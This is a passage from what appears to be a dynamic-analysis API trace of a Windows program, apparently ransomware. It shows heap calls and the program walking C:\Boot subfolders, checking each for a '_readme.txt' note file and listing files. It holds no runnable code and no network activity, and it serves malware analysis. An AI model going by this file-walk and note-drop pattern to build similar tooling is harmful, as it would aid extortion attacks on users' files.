RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.235] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0122.235] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.235] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.235] PathFindFileNameW (pszPath="") returned="" [0122.236] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.236] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.236] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.236] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.236] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0122.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.236] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0122.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.239] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.239] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.240] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.240] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.240] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.240] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.240] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.241] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.241] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.241] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.241] PathFindFileNameW (pszPath="") returned="" [0122.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.241] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.242] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.242] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.242] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.242] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.242] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.242] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.242] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0122.242] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.242] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0122.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.244] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38efba4 | out: 